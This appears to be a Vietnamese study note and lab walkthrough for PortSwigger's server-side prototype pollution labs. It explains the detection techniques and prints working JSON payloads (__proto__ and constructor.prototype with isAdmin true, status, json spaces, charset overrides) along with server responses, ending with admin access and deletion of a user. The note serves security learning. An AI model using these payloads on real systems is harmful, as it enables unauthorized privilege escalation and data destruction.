Port Swigger - Server-side Prototype Pollution Vulnerabilities

Why is Server-side Prototype Pollution More Difficult to Detect?

Vì một số lý do, prototype pollution phía server thường khó phát hiện hơn so với biến thể phía client của nó:

• Không có quyền truy cập mã nguồn - Không có cách nào dễ dàng để có cái nhìn tổng quan về các sink có mặt hoặc phát hiện các thuộc tính gadget tiềm năng.
• Thiếu các công cụ dành cho nhà phát triển - Vì JavaScript đang chạy trên một hệ thống từ xa, chúng ta không có khả năng kiểm tra các đối tượng trong thời gian chạy như khi sử dụng DevTools của trình duyệt để kiểm tra DOM.
• Vấn đề DoS - Việc làm ô nhiễm các đối tượng trong môi trường phía server thành công bằng cách sử dụng các thuộc tính thực thường làm hỏng chức năng ứng dụng hoặc làm sập hoàn toàn máy chủ.
• Sự tồn tại của ô nhiễm - Khi chúng ta làm ô nhiễm một prototype phía server, thay đổi này tồn tại trong suốt vòng đời của tiến trình Node và chúng ta không có cách nào để đặt lại nó.

Detecting Server-side Prototype Pollution via Polluted Property Reflection

Một cái bẫy dễ dàng cho các nhà phát triển là quên hoặc bỏ qua thực tế rằng một vòng lặp for...in của JavaScript lặp qua tất cả các thuộc tính có thể liệt kê của một đối tượng, bao gồm cả những thuộc tính mà nó đã kế thừa thông qua chuỗi prototype.

const myObject = { a: 1, b: 2 };
 
// pollute the prototype with an arbitrary property
Object.prototype.foo = 'bar';
 
// confirm myObject doesn't have its own foo property
myObject.hasOwnProperty('foo'); // false
 
// list names of properties of myObject
for(const propertyKey in myObject){
    console.log(propertyKey);
}
 
// Output: a, b, foo

Nếu ứng dụng sau đó bao gồm các thuộc tính được trả về trong một phản hồi, điều này có thể cung cấp một cách đơn giản để thăm dò prototype pollution phía server. Các POST hoặc PUT request gửi dữ liệu JSON đến một ứng dụng hoặc API là những ứng viên hàng đầu cho loại hành vi này vì các máy chủ thường phản hồi bằng một biểu diễn JSON của đối tượng mới hoặc được cập nhật.

POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
    "user":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "__proto__":{
        "foo":"bar"
    }
}

Nếu trang web dễ bị tấn công, thuộc tính được chèn của chúng ta sau đó sẽ xuất hiện trong đối tượng được cập nhật trong phản hồi:

HTTP/1.1 200 OK
...
{
    "username":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "foo":"bar"
}

Bất kỳ tính năng nào liên quan đến việc cập nhật dữ liệu người dùng đều đáng để điều tra vì chúng thường liên quan đến việc hợp nhất dữ liệu đến vào một đối tượng hiện có đại diện cho người dùng trong ứng dụng. Nếu chúng ta có thể thêm các thuộc tính tùy ý vào người dùng của riêng mình, điều này có thể dẫn đến một số lỗ hổng, bao gồm cả leo thang đặc quyền.

Lab: Privilege Escalation via Server-side Prototype Pollution

Request ban đầu được sử dụng để cập nhật địa chỉ của người dùng:

POST /my-account/change-address HTTP/2
Host: 0a92007803c2d47d809e0d7f00e8007c.web-security-academy.net
Cookie: session=1d9xQCX3IsMagk4vkY9V0lTCJgW67NZ4
Content-Length: 168
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a92007803c2d47d809e0d7f00e8007c.web-security-academy.net
Referer: https://0a92007803c2d47d809e0d7f00e8007c.web-security-academy.net/my-account?id=wiener
 
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "1d9xQCX3IsMagk4vkY9V0lTCJgW67NZ4"
}

Thay đổi phần thân request thành:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "1d9xQCX3IsMagk4vkY9V0lTCJgW67NZ4",
  "__proto__": {
	  "isAdmin": true
  }
}

Gửi lại request, phản hồi của nó là:

HTTP/2 200 OK
X-Powered-By: Express
Cache-Control: no-store
Content-Type: application/json; charset=utf-8
Etag: W/"c4-o1d3jaxaEdwNnwhzORq6DYSiPxI"
Date: Tue, 03 Sep 2024 07:50:08 GMT
Keep-Alive: timeout=5
X-Frame-Options: SAMEORIGIN
Content-Length: 196
 
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": true
}

Bây giờ chúng ta có thể truy cập endpoint /admin và xóa người dùng carlos.

Detecting Server-side Prototype Pollution without Polluted Property Reflection

Một cách tiếp cận là thử chèn các thuộc tính khớp với các tùy chọn cấu hình tiềm năng cho máy chủ. Sau đó, chúng ta có thể so sánh hành vi của máy chủ trước và sau khi chèn để xem liệu thay đổi cấu hình này có hiệu lực hay không. Nếu có, đây là một dấu hiệu mạnh mẽ cho thấy chúng ta đã tìm thấy thành công một lỗ hổng prototype pollution phía server.

Chúng ta sẽ xem xét các kỹ thuật sau:

• Status code override
• JSON spaces override
• Charset override

Info

Chúng ta có thể sử dụng bất kỳ kỹ thuật nào được đề cập trong phần này để giải quyết lab đi kèm.

Status Code Override

Các framework JavaScript phía server như Express cho phép các nhà phát triển đặt các trạng thái phản hồi HTTP tùy chỉnh. Trong trường hợp có lỗi, một máy chủ JavaScript có thể đưa ra một phản hồi HTTP chung, nhưng bao gồm một đối tượng lỗi ở định dạng JSON trong phần thân.

HTTP/1.1 200 OK
...
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}

Mô-đun http-errors của Node chứa hàm sau để tạo loại phản hồi lỗi này:

function createError () {
    //...
    if (type === 'object' && arg instanceof Error) {
        err = arg
        status = err.status || err.statusCode || status // first line
    } else if (type === 'number' && i === 0) {
    //...
    if (typeof status !== 'number' ||
    (!statuses.message[status] && (status > 400 || status >= 600))) { // second line
        status = 500
    }
    //...

Dòng được chú thích đầu tiên cố gắng gán biến status bằng cách đọc thuộc tính status hoặc statusCode từ đối tượng được truyền vào hàm (arg). Nếu các nhà phát triển của trang web không đặt rõ ràng một thuộc tính status cho lỗi, chúng ta có thể sử dụng điều này để thăm dò prototype pollution như sau:

1. Tìm cách kích hoạt một phản hồi lỗi.
2. Thử làm ô nhiễm prototype bằng thuộc tính status của riêng chúng ta (mà không kích hoạt phản hồi lỗi).
3. Kích hoạt lại phản hồi lỗi và kiểm tra xem chúng ta đã ghi đè thành công mã trạng thái hay chưa.

Note

Chúng ta phải chọn một mã trạng thái trong phạm vi 400-599. Nếu không, Node mặc định là một trạng thái 500 bất kể, như chúng ta có thể thấy từ dòng được chú thích thứ hai, vì vậy chúng ta sẽ không biết liệu chúng ta đã làm ô nhiễm prototype hay chưa.

JSON Spaces Override

Framework Express cung cấp một tùy chọn json spaces, cho phép chúng ta cấu hình số lượng khoảng trắng được sử dụng để thụt lề bất kỳ dữ liệu JSON nào trong phản hồi. Trong nhiều trường hợp, các nhà phát triển để thuộc tính này không xác định vì họ hài lòng với giá trị mặc định, làm cho nó dễ bị ô nhiễm thông qua chuỗi prototype.

Info

Mặc dù prototype pollution đã được khắc phục trong Express 4.17.4, các trang web chưa nâng cấp vẫn có thể dễ bị tấn công.

Charset Override

Lưu ý rằng đoạn mã sau truyền một đối tượng tùy chọn vào hàm read(), được sử dụng để đọc phần thân request để phân tích.

read(req, res, next, parse, debug, {
    encoding: charset,
    inflate: inflate,
    limit: limit,
    verify: verify
})

Một trong những tùy chọn này, encoding, xác định bộ mã hóa ký tự nào sẽ sử dụng. Điều này được lấy từ chính request thông qua lệnh gọi hàm getCharset(req), hoặc nó mặc định là UTF-8:

var charset = getCharset(req) or 'utf-8'
 
function getCharset (req) {
    try {
        return (contentType.parse(req).parameters.charset || '').toLowerCase()
    } catch (e) {
        return undefined
    }
}

Nếu chúng ta nhìn kỹ vào hàm getCharset(), có vẻ như các nhà phát triển đã dự đoán rằng header Content-Type có thể không chứa một thuộc tính charset rõ ràng, vì vậy họ đã triển khai một số logic trả về một chuỗi rỗng trong trường hợp này.

Nếu chúng ta có thể tìm thấy một đối tượng có các thuộc tính hiển thị trong một phản hồi, chúng ta có thể sử dụng điều này để thăm dò các nguồn:

1. Thêm một chuỗi được mã hóa UTF-7 tùy ý vào một thuộc tính được phản ánh trong một phản hồi. Ví dụ, foo trong UTF-7 là +AGYAbwBv-.

   {
       "sessionId":"0123456789",
       "username":"wiener",
       "role":"+AGYAbwBv-"
   }

2. Gửi request. Các máy chủ sẽ không sử dụng mã hóa UTF-7 theo mặc định, vì vậy chuỗi này sẽ xuất hiện trong phản hồi ở dạng mã hóa của nó.

3. Thử làm ô nhiễm prototype bằng một thuộc tính content-type chỉ định rõ ràng bộ ký tự UTF-7:

   {
       "sessionId":"0123456789",
       "username":"wiener",
       "role":"default",
       "__proto__":{
           "content-type": "application/json; charset=utf-7"
       }
   }

4. Lặp lại request đầu tiên. Nếu chúng ta làm ô nhiễm prototype thành công, chuỗi UTF-7 bây giờ sẽ được giải mã trong phản hồi:

   {
       "sessionId":"0123456789",
       "username":"wiener",
       "role":"foo"
   }

Info

Lý do tại sao chúng ta sử dụng thuộc tính "content-type" Để tránh ghi đè các thuộc tính khi một request chứa các header trùng lặp, hàm _addHeaderLine() kiểm tra rằng không có thuộc tính nào đã tồn tại với cùng một khóa trước khi chuyển các thuộc tính sang một đối tượng IncomingMessage:

IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
    // ...
    } else if (dest[field] === undefined) {
        // Drop duplicates
        dest[field] = value;
    }
}

Nếu có, header đang được xử lý sẽ bị loại bỏ. Do cách triển khai này, việc kiểm tra này (có lẽ là vô ý) bao gồm các thuộc tính được kế thừa thông qua chuỗi prototype. Điều này có nghĩa là nếu chúng ta làm ô nhiễm prototype bằng thuộc tính content-type của riêng mình, thuộc tính đại diện cho header Content-Type thực từ request sẽ bị loại bỏ tại thời điểm này, cùng với giá trị dự định được lấy từ header.

Lab: Detecting Server-side Prototype Pollution without Polluted Property Reflection

Status Code Override

Đầu tiên, chúng ta thử cách ghi đè mã trạng thái bằng cách xóa dấu ngoặc nhọn cuối cùng trong phần thân request của endpoint thay đổi địa chỉ:

POST /my-account/change-address HTTP/2
 
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ"

Phản hồi của nó:

HTTP/2 500 Internal Server Error
 
{
  "error": {
    "expose": false,
    "statusCode": 500,
    "status": 500,
    "body": "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Wayaaaa\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ\",\r\n\"__proto__\":{\"status\": 500\r\n}",
    "type": "entity.parse.failed"
  }
}

Như chúng ta có thể thấy, có một thuộc tính status.

Bây giờ, sửa lại phần thân request và thêm thuộc tính __proto__:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "__proto__": {
    "status": 444
  }
}

Lần này, máy chủ sẽ phản hồi một đối tượng bình thường và thuộc tính status sẽ bị ô nhiễm.

Để xác nhận, chúng ta phá vỡ phần thân request một lần nữa và gửi request.

Phản hồi có status với giá trị 444, cho thấy chúng ta có thể thực hiện prototype pollution:

HTTP/2 500 Internal Server Error
 
{
  "error": {
    "expose": true,
    "statusCode": 444,
    "status": 444,
    "body": "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Wayaaaa\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ\",\r\n\"__proto__\":{\"status\": 444\r\n}\r\n",
    "type": "entity.parse.failed"
  }
}

Seealso

Tham khảo Detecting server-side prototype pollution without polluted property reflection — A canopy of apple-blossom (tymyrddin.dev)

JSON Spaces Override

Lần này, chúng ta thay đổi thuộc tính bị ô nhiễm thành json spaces:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "__proto__": {
    "json spaces": 32
  }
}

Phản hồi của nó cho thấy chúng ta đã thực hiện prototype pollution thành công:

{
          "username": "wiener",
          "firstname": "Peter",
          "lastname": "Wiener",
          "address_line_1": "Wiener HQ",
          "address_line_2": "One Wiener Wayaaaa",
          "city": "Wienerville",
          "postcode": "BU1 1RP",
          "country": "UK",
          "isAdmin": false
}

Charset Override

Thêm một thuộc tính có giá trị được mã hóa UTF-7:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "role": "+AGYAbwBv-"
}

Phản hồi:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "role": "+AGYAbwBv-",
  "isAdmin": false
}

Thêm thuộc tính content-type:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "xy5OPCgzfUd9qXASWVs0CgYDQijCXxcZ",
  "role": "+AGYAbwBv-",
  "__proto__": {
	  "content-type": "application/json; charset=utf-7"
  }
}

Lặp lại request đầu tiên và phản hồi của nó có giá trị được giải mã của thuộc tính role, cho thấy chúng ta đã thực hiện prototype pollution thành công:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Wayaaaa",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "role": "foo",
  "isAdmin": false
}

Scanning for Server-side Prototype Pollution Sources

1. Khám phá trang web mục tiêu bằng trình duyệt của Burp để lập bản đồ càng nhiều nội dung càng tốt và tích lũy lưu lượng truy cập trong lịch sử proxy.
2. Trong Burp, đi đến tab Proxy > HTTP history.
3. Lọc danh sách để chỉ hiển thị các mục trong phạm vi.
4. Chọn tất cả các mục trong danh sách.
5. Nhấp chuột phải vào lựa chọn của chúng ta và đi đến Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution, sau đó chọn một trong các kỹ thuật quét từ danh sách.
6. Khi được nhắc, hãy sửa đổi cấu hình tấn công nếu cần, sau đó nhấp vào OK để khởi động quá trình quét.

Info

Trong Burp Suite Professional, tiện ích mở rộng báo cáo bất kỳ nguồn prototype pollution nào nó tìm thấy thông qua bảng điều khiển Issue activity trên các tab Dashboard và Target. Nếu chúng ta đang sử dụng Burp Suite Community Edition, chúng ta cần đi đến tab Extensions > Installed, chọn tiện ích mở rộng, sau đó theo dõi tab Output của nó để biết bất kỳ vấn đề nào được báo cáo.

Note

Nếu chúng ta không chắc nên sử dụng kỹ thuật quét nào, chúng ta cũng có thể chọn Full scan để chạy một quá trình quét sử dụng tất cả các kỹ thuật có sẵn. Tuy nhiên, điều này sẽ liên quan đến việc gửi nhiều request hơn đáng kể.

Bypassing Input Filters for Server-side Prototype Pollution

Các ứng dụng Node có thể xóa hoặc vô hiệu hóa hoàn toàn __proto__ bằng cách sử dụng các cờ dòng lệnh --disable-proto=delete hoặc --disable-proto=throw tương ứng. Tuy nhiên, điều này cũng có thể bị vượt qua bằng cách sử dụng kỹ thuật constructor.

Lab: Bypassing Flawed Input Filters for Server-side Prototype Pollution

Mục tiêu của lab này là leo thang đặc quyền.

Đầu tiên, thử phần thân request này:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl",
  "isAdmin": true
}

Phản hồi:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}

Như chúng ta có thể thấy, thuộc tính isAdmin không thay đổi.

Tiếp theo, thêm thuộc tính __proto__:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl",
  "__proto__": {
	  "isAdmin": true
  }
}

Thuộc tính isAdmin không thay đổi.

Sử dụng constructor thay thế:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl",
  "constructor": {
	"prototype": {
	  "isAdmin": true
	}
  }
}

Phản hồi khác:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": true
}

Như chúng ta có thể thấy, isAdmin được đặt thành true.

Gửi request đến /admin:

GET /admin HTTP/2
Host: 0ad700a004049e3781a007fd00e100bc.web-security-academy.net
Cookie: session=lmAefc1Ht71aKgW9HQGVmbdr7AFXqvkl

Endpoint được sử dụng để xóa người dùng carlos: /admin/delete?username=carlos. Gửi một POST request đến endpoint này.

Related

list
from outgoing([[Port Swigger - Server-side Prototype Pollution Vulnerabilities]])
sort file.ctime asc

Charset Override

Resources

• Server-side prototype pollution | Web Security Academy (portswigger.net)